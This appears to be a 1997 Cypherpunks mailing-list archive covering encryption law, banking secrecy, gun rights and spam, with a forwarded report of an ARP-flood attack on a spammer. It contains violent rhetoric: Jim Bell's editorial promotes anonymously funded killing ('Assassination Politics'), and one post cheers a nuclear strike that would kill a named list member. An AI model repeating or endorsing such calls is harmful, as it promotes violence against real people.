How to Answer the Questions
~~~~~~~~~~~~~~~~~~~~~~~~~~~
First off, your player ID -- the letters and numbers in
parentheses on the Subject line when you get your questions
-- has to be on that same old Subject line when you send
your answers. It looks like this example: (123456di)

Most mailers will set this up automatically when you use the
"Reply" button. If yours won't, then copy the Subject line
from the Question message and paste it into the Subject line
of your reply.

Next comes setting up your answers. Start by picking the
LETTER of the multiple-choice answer you like best. Say the
answer to a question is this:

A -- A coffee cup with a slogan is your answer to the
productivity crisis?

Your answer would be the letter A, preceded by a single pound
sign # -- like so: #A

One more thing: Each answer goes on its own line, please.
Thanks.

To review: Start by opening the original e-mail with the
questions, click the "Reply" button, type your answers in
the order in which they were asked, on separate lines, and
put one of these thingies # in front of each one.

There's more about the formatting stuff in the How
to Play document, which you can get by sending e-mail to
dogberthow at yoyo.com.

~~~~~~~~~~~~~~
The Fine Print
~~~~~~~~~~~~~~
*FLAMES*FAN MAIL*FEEDBACK*

Please send everything like that off to Laurie, the Quality
Obsessed Customer Service Rep for the game. Her address is
ratbert at yoyo.com (she lives under the copying machine, in a
little nest there, right next to Ratbert).

Laurie will forward any game feedback to Scott, in neatly
tied daily bundles. Scott prefers it this way -- he told us
so. Letting Laurie solve your problems will allow Scott to
focus on drawing more great comics for us to enjoy.

* Official Notice About the Vagaries of E-mail *

As you've doubtless discovered if you've used e-mail even
once, it usually gets where it's going when it's supposed
to, BUT sometimes the e-mail gods divert your message to
Elbonia. If your answers to the game questions land in our
system after the deadline or fail to make it to us
altogether, we can't count them. We send out a message
listing the correct answers right after the deadline. The
Internet *should* work on time all the time, but it doesn't.
The best thing you can do is send in your answers well in
advance of the deadline.

* Player ID *

Your player ID is the collection of digits and letters,
enclosed in parentheses, on the Subject line of every
question e-mail you receive in this game. It looks like this
example: (123456di). We need to have your player ID in every
communication to Yoyodyne. Most mailers will set this up
automatically when you use the "Reply" button. If yours
won't, then copy over the Subject line from the Question
message and paste it into the Subject line of your reply.

* More Info *

For more information about The Dilbert Trivia Game, send
e-mail to these addresses:

  Quality of Life Issues: ratbert at yoyo.com
  How to Play: dogberthow at yoyo.com
  Game FAQ: dogbertfaq at yoyo.com
  The Official Rules: dogbertrules at yoyo.com
  Web site: http://www.yoyo.com/dilbert

Tell your friends to play The Dilbert Trivia Game, and see
whose score is higher! The sign-up address is
dilbert at yoyo.com. Like, wow.

For info about other free Yoyodyne games you could be
playing, send e-mail to win at yoyo.com or, even better, visit
our Web site at http://www.yoyo.com. And don't forget about
our free weekly newsletter. E-mail news at yoyo.com to sign up.

---
Yoyodyne Entertainment
"Where the future begins...tomorrow."
win at yoyo.com, http://www.yoyo.com

Copyright, United Features Syndicate, Inc. 1997






From tien at well.com  Wed May  7 07:19:19 1997
From: tien at well.com (Lee Tien)
Date: Wed, 7 May 1997 22:19:19 +0800
Subject: SAFE
Message-ID: 


Here's what Prof. Froomkin said about SAFE on another list:

>What I want to know about SAFE is this:
>
>1.  Will it in effect federalize  huge chunks of state criminal law once
>crypto is ubiquitous in telephones, email, garage-door openers etc.?
>Every state crime will now have a federal component...
>
>2.  Will the federal crypto-use-in-furtherance-of-a-state-crime be a
>separate predicate offense for civil (and criminal?) RICO?
>
>3.  What will the five year term for this offense  do to the
>plea-bargaining dynamic in every garden variety crime.
>
>Recall my hypothesis:  crypto will be seamless and ubiquitous in N years,
>where  N is not large.  Especially if SAFE passes and export controls are
>removed.
>
>On balance, I oppose SAFE.   It's not worth it.


[I wonder:  how does SAFE interact with IPSEC and arrangements like S/WAN?
This is not, I think, merely the "willful furtherance" provision.  The "law
enforcement" access provision may be ambiguous for keys that are not
"private"; my understanding of IPSEC is that the key is in the possession
of the machine and not the user.  I'm unclear whether users have 4th A.
standing to challenge law enforcement access to such keys; there are lots
of 4th A cases where a person has no privacy interest in information
because it's been disclosed to another person, or is in another person's
control.  Of course, I probably don't understand how IPSEC works, so
corrections are welcomed.]

Lee







From jimbell at pacifier.com  Wed May  7 07:42:02 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Wed, 7 May 1997 22:42:02 +0800
Subject: My editorial in Oregonian newspaper published today.
Message-ID: <199705061458.HAA08763@mail.pacifier.com>


The following editorial appears in the Tuesday, May 6 issue of the
(Portland) Oregonian newspaper, on the editorial page.



Fishing Expedition Swims Against Tide

According to the maxim, if you invent a better mouse-trap the world will
beat a path to your door.  Maybe the truth is that, instead, you'll get
assaulted by angry cats who are afraid of losing their jobs.

Suppose the government discovered a method to make itself obsolete.  Or
suppose the military learned how to make us all even more secure, for a
thousandth as much defense spending.   We'd never hear about it because
they'd be out of a job, and job security, not national security, is their
highest priority.

Two years ago I had a revolutionary  idea.   I was tired of hearing the
usual stories about how much harder society's problems have gotten in the
last few decades.    It's not that the problems are harder, it's just that
large constituencies have been built which depend on these "problems"  for
their income.  

For example, when the Cold War ended,  there was no military reason we
couldn't have reduced our military budget by a factor of two or three.
"But no!,"  said the politicians, let's continue buying those expensive
Stealth bombers, submarines, tilt-wing airplanes, and other toys. We weren't
afraid of getting attacked, the spending continued because of the threat of
unemployment on the part of the defense-industry workers. 

Legalize drugs and turn a vast legal problem into a far cheaper and more
manageable health problem?  No, because with 70% or more of the prison
population there due to drug laws, you'd have to fire most of the jailers,
the prosecutors, the police, the judges, and the lawyers, all of whom have
come to depend on the involuntary "generosity" of the taxpayer.

Two years ago I realized that the whole corrupt system could be stopped.  It
would be necessary to not only halt pork-barrel politics at all levels, but
also to provide a very few necessary services for people, such as defense
and justice, although financed inexpensively and voluntarily.   You'd have
to shut down all militaries and governments, simultaneously, all around the
world, while at the same time protecting our security.  Impossible?

In the summer of 1995 I began to write an essay, half-jokingly titled
"Assassination Politics".    It occurred to me that if people could defend
themselves by anonymously donating money to anonymous people who act to
protect us, you wouldn't need militaries or governments anymore.   Nuclear
bombs would be obsolete, and in fact they will be hopelessly  dangerous to
anyone who owns them, because the rest of us will be able to donate money to
ensure their owners have no choice but to dismantle them.  Conventional
militaries will be useless,  because threats to people's security will be
dealt with far more cheaply by large numbers of tiny individual
contributions buying the part-time services of a few semi-professional
trouble-shooters.   

Murderous dictators of the past and present,  such as Hitler, Stalin, Mao,
Pol Pot, Saddam Hussein, Khadafi, Idi Amin,  and so many others simply
couldn't operate in such a world, because they (and their replacements, if
anyone dared follow them) could be removed for the collective pocket change
of a few million angry citizens.

There'd be no conventional wars, because anyone who would make war would be
a threat not only to his enemy, but also to anyone on "his" side who would
be forced to help pay for that war, or even third parties who wouldn't want
to see aggression win, for fear they'd be the next target.  There would be
no draft, because forcing someone else to fight for you makes YOU his enemy,
as well: On the other hand, if your cause is just, he will contribute
voluntarily, just as you do, to see the bad guy stopped. 

There would be little crime, because crime will be treated as an attack, and
people will be able to donate money to find and stop the criminals.  But
unlike today, there will be no large constituency (police, jailers, judges,
prosecutors, lawyers) who have a vested interest in keeping the crime rate
high, thus terrorizing the public into supporting "anti-crime spending"
which really just lines their pockets.

I've been openly debating the idea on the Internet since then with anyone
who will listen.  My essay  surprises many and shocks more than a few, but
I am pleased that such a truly revolutionary concept has been so well
received.   Even the Columbian newspaper (www.columbian.com) has decided to
add a pointer to the essay.

The only "threat" in the essay is to the jobs of the people who have been
parasites on the rest of us for decades, as well as to the future of
tyrannies around the world.  But that's why,  on April 1, twenty Federal
agents burst in and took my computer,  told the news media I was "armed and
dangerous," and began engaging in a fishing expedition including harassing
people simply for knowing me.  (No arrest or charges so far.)  They may
claim that they were looking for something else, but what they are really,
desperately hoping to find is...job security.  If I'm right, they have none.

Jim Bell
jimbell at pacifier.com






From jimbell at pacifier.com  Wed May  7 08:10:50 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Wed, 7 May 1997 23:10:50 +0800
Subject: My editorial in Oregonian newspaper published today.
Message-ID: <199705071455.HAA26950@mail.pacifier.com>


My editorial appeared in the Tuesday, May 6 issue of the
(Portland) Oregonian newspaper, on the editorial page.



Fishing Expedition Swims Against Tide

According to the maxim, if you invent a better mouse-trap the world will
beat a path to your door.  Maybe the truth is that, instead, you'll get
assaulted by angry cats who are afraid of losing their jobs.

Suppose the government discovered a method to make itself obsolete.  Or
suppose the military learned how to make us all even more secure, for a
thousandth as much defense spending.   We'd never hear about it because
they'd be out of a job, and job security, not national security, is their
highest priority.

Two years ago I had a revolutionary  idea.   I was tired of hearing the
usual stories about how much harder society's problems have gotten in the
last few decades.    It's not that the problems are harder, it's just that
large constituencies have been built which depend on these "problems"  for
their income.  

For example, when the Cold War ended,  there was no military reason we
couldn't have reduced our military budget by a factor of two or three.
"But no!,"  said the politicians, let's continue buying those expensive
Stealth bombers, submarines, tilt-wing airplanes, and other toys. We weren't
afraid of getting attacked, the spending continued because of the threat of
unemployment on the part of the defense-industry workers. 

Legalize drugs and turn a vast legal problem into a far cheaper and more
manageable health problem?  No, because with 70% or more of the prison
population there due to drug laws, you'd have to fire most of the jailers,
the prosecutors, the police, the judges, and the lawyers, all of whom have
come to depend on the involuntary "generosity" of the taxpayer.

Two years ago I realized that the whole corrupt system could be stopped.  It
would be necessary to not only halt pork-barrel politics at all levels, but
also to provide a very few necessary services for people, such as defense
and justice, although financed inexpensively and voluntarily.   You'd have
to shut down all militaries and governments, simultaneously, all around the
world, while at the same time protecting our security.  Impossible?

In the summer of 1995 I began to write an essay, half-jokingly titled
"Assassination Politics".    It occurred to me that if people could defend
themselves by anonymously donating money to anonymous people who act to
protect us, you wouldn't need militaries or governments anymore.   Nuclear
bombs would be obsolete, and in fact they will be hopelessly  dangerous to
anyone who owns them, because the rest of us will be able to donate money to
ensure their owners have no choice but to dismantle them.  Conventional
militaries will be useless,  because threats to people's security will be
dealt with far more cheaply by large numbers of tiny individual
contributions buying the part-time services of a few semi-professional
trouble-shooters.   

Murderous dictators of the past and present,  such as Hitler, Stalin, Mao,
Pol Pot, Saddam Hussein, Khadafi, Idi Amin,  and so many others simply
couldn't operate in such a world, because they (and their replacements, if
anyone dared follow them) could be removed for the collective pocket change
of a few million angry citizens.

There'd be no conventional wars, because anyone who would make war would be
a threat not only to his enemy, but also to anyone on "his" side who would
be forced to help pay for that war, or even third parties who wouldn't want
to see aggression win, for fear they'd be the next target.  There would be
no draft, because forcing someone else to fight for you makes YOU his enemy,
as well: On the other hand, if your cause is just, he will contribute
voluntarily, just as you do, to see the bad guy stopped. 

There would be little crime, because crime will be treated as an attack, and
people will be able to donate money to find and stop the criminals.  But
unlike today, there will be no large constituency (police, jailers, judges,
prosecutors, lawyers) who have a vested interest in keeping the crime rate
high, thus terrorizing the public into supporting "anti-crime spending"
which really just lines their pockets.

I've been openly debating the idea on the Internet since then with anyone
who will listen.  My essay  surprises many and shocks more than a few, but
I am pleased that such a truly revolutionary concept has been so well
received.   Even the Columbian newspaper (www.columbian.com) has decided to
add a pointer to the essay.

The only "threat" in the essay is to the jobs of the people who have been
parasites on the rest of us for decades, as well as to the future of
tyrannies around the world.  But that's why,  on April 1, twenty Federal
agents burst in and took my computer,  told the news media I was "armed and
dangerous," and began engaging in a fishing expedition including harassing
people simply for knowing me.  (No arrest or charges so far.)  They may
claim that they were looking for something else, but what they are really,
desperately hoping to find is...job security.  If I'm right, they have none.

Jim Bell
jimbell at pacifier.com



Jim Bell
jimbell at pacifier.com






From sunder at brainlink.com  Wed May  7 08:48:31 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 7 May 1997 23:48:31 +0800
Subject: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705070543.WAA16571@kachina.jetcafe.org>
Message-ID: 


On Tue, 6 May 1997, Dave Hayes wrote:

> Igor Chudov writes:
> > I am interested in your view, Dave.
> 
> There are only two reasons that I can see your interest serving. 
> You either wish to support my views or oppose them. Neither case
> serves your potential enlightement, therefore I shall choose to 
> not answer.

A very Zen answer (and quite a slippery one at that.) What if Igor was 
simply curious as to your views?

If not what difference does it make whether he supports or opposes your view? 
We are all free to our own opinions.  Why do you care whether or not a
person is enlightened by your response?  If you truly are following Zen, then
it is not for you to decide what will or won't enlighten others since 
this would mean taking responsability for another person's karma.

IMHO, your response isn't one of potentially enlightening others, but rather
fear of sharing your opinion.  This is two fold.  If you fear he will oppose
it, you are seeking the approval of others. If you fear he will agree to it,
you fear that those who oppose his views will oppose yours.  You could take
the hidden third option and claim privacy, however it is too late to do so
since you have already shared some commentary - and thus this path is closed
to you.

Your responses so far were to the ethical and moral standards of spamming the
spammers.  I wasn't interested in such.  I am comfortable with my own morals
and take responsability for my actions.  However, the point of this paragraph
is that you have tried to share with us your morals, and thus thrust them
upon us, later, here, you say you lack the will to share your views with us,
and thus back out of passing judgement on our hypothetical actions.

And at this point I am no longer interested in your oppinion on this 
matter for it is jaded by fear, so please, don't even bother to reply. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From NOSPAM-geeman at best.com  Wed May  7 08:53:23 1997
From: NOSPAM-geeman at best.com (geeman)
Date: Wed, 7 May 1997 23:53:23 +0800
Subject: The Executive State
Message-ID: <3.0.32.19970507081934.006bbe28@best.com>


Anyone doubting that the center of gravity of world power is shifting
would do well to ponder: 100 of the world's top CEO's are going to 
Bill Gates' house to hear him expound on what the future will look
like.

IF that doesn't make you nervous nothing will.  It's at least as 
nervewracking as anything Clinton admin. might do.

At 07:26 PM 5/6/97 -0400, Robert Hettinga wrote:
>
>--- begin forwarded text
>
>
>Date: Tue, 6 May 1997 10:46:19 -0700
>From: thomasu at mail.auburn.edu
>To: misesmail at colossus.net
>Subject: The Executive State
>Sender: owner-misesmail at colossus.net
>Precedence: Bulk
>
>The Executive State:
>The U.S. Presidency vs. American Liberty
>
>	When President Clinton asked golfer Tiger Woods to join him at an official
>propaganda event, and even offered to send Air Force One, Tiger answered as
>every freedom-loving American should: he had something better to do. He was
>going on a vacation with some college chums.
>
>	Tiger has his priorities straight, but his turndown is another indication
>that the presidency is shrinking as an institution. It still commands, but
>no longer compels, our undying (or dying) obedience, no matter how many
>monuments are erected to despots on the Washington Mall. This trend is all
>to the good.
>
>	The legacy of presidential autocracy from the earliest days of the
>republic to the present survives in the form of the executive state. But
>where can you go in the library to find the truth about the havoc U.S.
>presidents have wrecked on the American promise of freedom? Virtually
>nowhere. The official history of the presidency reads like the Lives of the
>Saints.
>
>	The Mises Institute intends to do something about this. In the Fall of
>1998, we're holding a major academic conference on the American presidency.
>Our purpose is to debunk the conventional view that the more power he's
>usurped, the better off the American people are.
>
>	All the presidents qualify for study, but we are especially interested in
>the checkered careers and dictates of Polk, Lincoln, McKinley, Roosevelt I,
>Wilson, Roosevelt II, Truman, Johnson, Nixon, and Reagan.
>
>	If you're a scholar and would like to participate with a paper on some
>aspect of a presidential power grab (or one of those few occasions when a
>president did some good) let us know. An abstract is all that's necessary
>to be considered now.
>
>The Ludwig von Mises Institute
>Auburn, Alabama 36849-5301
>334-844-2500; fax: 334-844-2583
>
>--- end forwarded text
>
>
>
>-----------------
>Robert Hettinga (rah at shipwright.com), Philodox
>e$, 44 Farquhar Street, Boston, MA 02131 USA
>Lesley Stahl: "You mean *anyone* can set up a web site and compete
>               with the New York Times?"
>Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
>The e$ Home Page: http://www.shipwright.com/
>
>
>
>
>






From sunder at brainlink.com  Wed May  7 08:53:45 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 7 May 1997 23:53:45 +0800
Subject: Custom programming, Web site design & development, and more.
In-Reply-To: <199705062233.PAA27824@f42.hotmail.com>
Message-ID: 


So, now that your snake oil products have been proven as full of holes as 
swiss cheese, you're back to spam us with offers of your "services?"  Go 
away!

On Tue, 6 May 1997, DataET Research Data Engineering Technologies wrote:

> Visit DataET Research, an excellent source for high-quality, but extensively 
> inexpensive, software development and marketing solutions.
> 
> SERVICES:
> 
> o Custom Software Development Service
> o Custom Database Application Development Service
> o Help File / System Development Service
> o Installation Program Development Service
> o Shareware Distribution & Marketing Service
> o Trial Usage Tracking System Development Service
> o Web Site Design & Development Service
> o Press Release Distribution Service
> 
> If you are interested in having a spectacular Web site or customized software 
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=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From paul at fatmans.demon.co.uk  Wed May  7 09:22:57 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 8 May 1997 00:22:57 +0800
Subject: Duplicate checking: Ignore
Message-ID: 


	
Test sent via cyberpass.net

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From jya at pipeline.com  Wed May  7 09:35:29 1997
From: jya at pipeline.com (John Young)
Date: Thu, 8 May 1997 00:35:29 +0800
Subject: AWK_war
Message-ID: <1.5.4.32.19970507162104.0087bf20@pop.pipeline.com>


Wash Post reports today on a NSA intercept of
a "secure communication" between two Israeli
spooks discussing a top US official spying for
Israel.

The FBI opened an investigation in January.

Israel denies the claim.

Crypto is not mentioned, only that the Hebrew
conversation was "awkwardly" translated.

The intercept was withdrawn after 12 hours from
the distribution list due to FBI's dismay at its
spread.

-------

AWK_war






From tcmay at got.net  Wed May  7 09:47:36 1997
From: tcmay at got.net (Tim May)
Date: Thu, 8 May 1997 00:47:36 +0800
Subject: Banking Secrecy and Nazi Gold
Message-ID: 



I try to deconstruct events, to determine what the real issues are.

Take the case of the ongoing flap over Switzerland and claims that Swiss
banks hid gold, jewels, and other forms of money for high-ranking Nazis.
Adding to the flap--actually, making it a newsworthy event--is the
allegation, probably true, that some of the gold was taken from Jews and
others sent to extermination camps.

(A further claim, not related to the Nazi claim directly, is that the bank
accounts of those who perished in the war were not made available to heirs,
that in some cases the banks even liquidated the accounts and used the
money for (unspecified) purposes. I know little about this particular
claim, and won't discuss it further.)

OK, so it's clear to all right-thinking persons what should be done:
Switzerland should return the money to the heirs of those killed by the
Nazis.

Ah, but it's not so clear to me. I guess I'm not a right-thinking person.

First, it is not a matter of "Switzerland" having done something, it is a
matter of several major banks and dozens (I presume) of lesser banks. It is
Credit Suisse, Union Bank, etc. who presumably took in deposits, with
numbered accounts (perfectly legal by Swiss law at the time), not the
"state of Switzerland."

Second, how could the _provenance_ of the deposits be determined by, say
Credit Suisse? How could Hans the Banker taking a deposit from Fritz the
Depositer somehow know that the money Fritz was depositing was from money
seized from Jews? For all Hans knew, especially in 1939-43, before any real
knowleedge of the extermination of Jews became available (and such
knowledge was still rare, as any examination of the newspapers of the day
will show), the money was from German families seeking to protect their own
assets, or was even money siphoned from the German war effort, and so on.

Third, the notion that "Switzerland must do something!" is pernicious and
inimical to banking secrecy and basic privacy issues. A drumbeat is
building which will serve to undermine banking secrecy around the world.

(Now what happened to the Jews in Europe was horrible, depicable, etc. It
was an example of the power of the total state to order the liquidation of
some religious or ethnic faction. But the horror of the liquidation of
millions of Jews, or millions of Chinese, or millions of Tutsis/Hutus,
etc., must not be an excuse for expanding the power of states still
further. That circular logic will ultimately kill even more in factions out
of favor.)

This issue relates to Chaumian anonymous cash, of course. One can imagine
various scenarios by which crypto anarchy is used to transfer funds, etc.
Left as an exercise for the imaginative.

As the "Nazi Gold" story continues to build, expect "Swiss bankers" to be
added to the list of the "Horsemen." (Swiss bankers always have been viewed
with some suspicion--and admiration. Usually related to their "sheltering"
of funds from dictators and mobsters. And their has long been the hint of
complicity with the Reich in some areas. But now the move is on to
associate Swiss banks with the Holocaust more explicitly.)

I suspect the U.S. pressure on Swiss banks has a political dimension
related to forcing a New World Order on international banking. The U.S.
wants banking secrecy subject to U.S. control (so that banks like Castle
Bank, Nugan Hand Bank, Banco Ambrosiano, BCCI, and the Bank of America can
continue to be used for U.S. interests, and only U.S. interests).

The Jews killed by the German state in the war are dead and gone. Most of
their money is irretrievably gone. The clamor to break banking secrecy and
"force" the banks to disclose all records is part of a larger political
game.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Wed May  7 09:54:03 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 8 May 1997 00:54:03 +0800
Subject: The Executive State
In-Reply-To: <3.0.32.19970507081934.006bbe28@best.com>
Message-ID: <199705071629.LAA00582@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <3.0.32.19970507081934.006bbe28 at best.com>, on 05/07/97 at 09:20 AM,
   geeman  said:


>Anyone doubting that the center of gravity of world power is shifting
>would do well to ponder: 100 of the world's top CEO's are going to  Bill
>Gates' house to hear him expound on what the future will look like.

>IF that doesn't make you nervous nothing will.  It's at least as 
>nervewracking as anything Clinton admin. might do.

Hmmm... 100 top CEO's & Bill Gates all in one place.

Makes one ponder the possibilities. :)

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I use OS/2 2.0 and I don't care who knows!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3C9I49Co1n+aLhhAQEZFAQAjnn6QAOr2Ul9XaI0OmZdkRZMriPCOLJX
kHoiFpPxMYJeepzum4U67n4K7FQaFsn+zf5Lpgwd01dkQ3u0MbkF7sA5aGoK4+kR
qVEAUD4saQlUE6TyPIpZniU2Pr0229OB7hS+jFOqeRWeL5uIwSpR+y9YL/cx5afB
eKtNoc/2CrE=
=MswY
-----END PGP SIGNATURE-----






From paul at fatmans.demon.co.uk  Wed May  7 10:02:38 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 8 May 1997 01:02:38 +0800
Subject: Test, Ignore
Message-ID: 


	
Test message send via algebra.com

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From jeffb at issl.atl.hp.com  Wed May  7 10:22:20 1997
From: jeffb at issl.atl.hp.com (Jeff Barber)
Date: Thu, 8 May 1997 01:22:20 +0800
Subject: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <19970505214347.40130@bywater.songbird.com>
Message-ID: <199705071721.NAA29436@jafar.issl.atl.hp.com>


Kent Crispin writes:
> 
> On Mon, May 05, 1997 at 04:53:28PM -0700, Lucky Green wrote:

> > I concur. A citizen has the right to manufacture a grenade launcher under
> > the Second Amendment (irrespective of what judges scared into submission
> > by Roosevelt et al may have ruled), not the First. 
> 
> I have heard, from a knowledgable person, that the reason that the NRA
> has not pressed a constitutional challenge is that their lawyers tell
> them that the historical context clearly indicates that the second
> amendment does *not* protect individual ownership of firearms, and
> that a constitutional challenge would almost certainly lose.  Hence
> the NRA resorts to lobbying.  That is, it is not a matter of 
> Roosevelt scaring the judges, but a matter of the clear intent of the 
> constitution. 
> 
> This made sense to me -- if the constitutional grounds were clear the
> NRA could save a tremendous amount of money and trouble just by
> letting the court rule on it -- Roosevelt is dead.

"When I use a word," Humpty Dumpty said in a rather scornful tone,
"it means just what I choose it to mean--neither more nor less."

The constitution is entirely clear on this point.  There really is
no need to look at historical context except where the meaning of
the constitution itself is *not clear*.  The "right of the people...
shall not be abridged" clause is in no way conditional on the 
first ("well-regulated militia") clause, even though most would
agree that the first serves as a rationale.  If the authors of the
bill of rights had meant something else, they could have and would
have written something else.

The NRA knows this.  They just don't trust the Supremes to agree
with their conclusion.  Understandably so, given the court's record--
not to mention its usual reluctance to overturn precedents.

This is a problem with constitutions or any other sort of written
documents.  Pinheads can always say the document doesn't *really* mean
what it clearly says.  There's obviously no way to fix that through
the document itself.

(I'm sure Jim Bell will say he has a solution though. :-)


-- Jeff






From tcmay at got.net  Wed May  7 10:35:14 1997
From: tcmay at got.net (Tim May)
Date: Thu, 8 May 1997 01:35:14 +0800
Subject: OFF-TOPIC: Second Amendment
In-Reply-To: <199705051842.LAA21649@krypton.chromatic.com>
Message-ID: 


(This is veering off into a typical Second Amendment debate, the bane of so
many lists and newsgroups, so I will be brief and will try to make this my
last comment in this thread.)


At 8:43 PM -0800 5/5/97, Kent Crispin wrote:

>I have heard, from a knowledgable person, that the reason that the NRA
>has not pressed a constitutional challenge is that their lawyers tell
>them that the historical context clearly indicates that the second
>amendment does *not* protect individual ownership of firearms, and
>that a constitutional challenge would almost certainly lose.  Hence
>the NRA resorts to lobbying.  That is, it is not a matter of
>Roosevelt scaring the judges, but a matter of the clear intent of the
>constitution.
>
>This made sense to me -- if the constitutional grounds were clear the
>NRA could save a tremendous amount of money and trouble just by
>letting the court rule on it -- Roosevelt is dead.

I don't buy this "knowledgeable person"'s claim (though all manner of
opinions emanate from the NRA). NRA literature has consistently claimed the
opposite. Now, why there hasn't been a major court challenge is unclear,
and this theory is one explanation. But there are others, such as NRA
willingness to save the rights of "hunters" over the rights of "militia
members." Or a calculation that the courts would rule against gun
ownership, for whatever reason.

I can't find support for the notion that the Founders were not speaking
about individual ownership of firearms. First, essentially every household,
except perhaps in the larger cities, had a musket or rifle, such as they
were in those days. These were used for putting food on the table, defense
against Indians, and all the usual Colonial cliches.

Second, there was never a formal "militia" in most communities. The
"militia" was the informal formation of a defense force should the need
arise. Thus, the weapons were those the households had, the rifles and
muskets that farmers, traders, and shopkeepers had at their disposal. There
certainly was no mention of a "National Guard Armory" where such weapons
were to be stored!

In any case, arguing the "intent" of the Founders is always problematic. I
favor direct action. Caching weapons in secure places, for example. Buying
several thousand rounds of ammo, and setting up reloading capabilities, for
another. And quitting the NRA, which is too namby pamby about gun rights.
And, last but not least, buying a defensible home on top of a hill.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From iverson at usa.net  Wed May  7 11:03:32 1997
From: iverson at usa.net (Casey Iverson)
Date: Thu, 8 May 1997 02:03:32 +0800
Subject: AP --> AR
Message-ID: <3.0.16.19691231190000.3107a6d2@pop.netaddress.com>


At 11:02 PM 5/6/97 EDT, you wrote:
>nobody at huge.cajones.com (Huge Cajones Remailer) writes:
>
>>
>> Tim May verily saith [paraphrase]:
>>
>> > I would cry few tears if D.C. got nuked
>>
>> This will be an historical event of importance comparable to the
>> American Revolution and the fall of the Berlin Wall.
>
>I'm all for it!
>

Me too.

Especially if the collateral damage reached  Forest Hills and the
degenerate Russian scumbag  Vulis.






From rah at shipwright.com  Wed May  7 11:06:56 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Thu, 8 May 1997 02:06:56 +0800
Subject: Spam Update/Cyber Promo attacked
Message-ID: 



--- begin forwarded text


Mime-Version: 1.0
Date:         Wed, 7 May 1997 13:24:57 +0200
Reply-To:     Law & Policy of Computer Communications
              
Sender:       Law & Policy of Computer Communications
              
From:         Wendy Leibowitz 
Subject:      Spam Update/Cyber Promo attacked
To:           CYBERIA-L at LISTSERV.AOL.COM

While aware of the irony of sending an unsolicited message from Cyber
Promotions to a large group of people, this bulletin just arrived from our
friends at Cyber:

PHILADELPHIA, 5-7-97  Bulk e-mail giant Cyber Promotions is under attack by
"anti-spam" hackers. This concentrated attack was planned for several
weeks, and has been publicly discussed on Internet newsgroups. The hackers
are using a brand new method to deny service to all Cyber Promotions'
computers hooked to a main router on an AGIS line. The hackers have devised
a system which sends millions of random "arp" requests to a router, which
can disable the whole network for hours. This type of attack has never
occurred before. Currently thousands of businesses with web pages and mail
box accounts are being denied service.

The attack began yesterday around 4 PM Eastern, and is still occurring at
press time. But the [source of the] attack is traceable with the help of a
backbone provider and computer security specialists. The longer it occurs,
the easier it is to trace it back to the hacker. Cyber Promotions will work
in conjunction with federal authorities to prosecute the criminals.

.......

This latest attack is occurring, by no coincidence, on the same day that
Cyber Promotions, AGIS and several bulk e-mailers scheduled  a press
conference in Las Vegas to discuss the formation of a new association which
will enforce a universal "don not send" list along with many other ethical
bulk e-mail standards.
...........

It goes on, but I need to ponder the meaning of "ethical bulk e-mail
standards."

Wendy R. Leibowitz, Technology Editor
National Law Journal
345 Park Ave. South
New York, NY 10010
E-mail: wendyl at ljextra.com
"Remember, even pencils break."

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
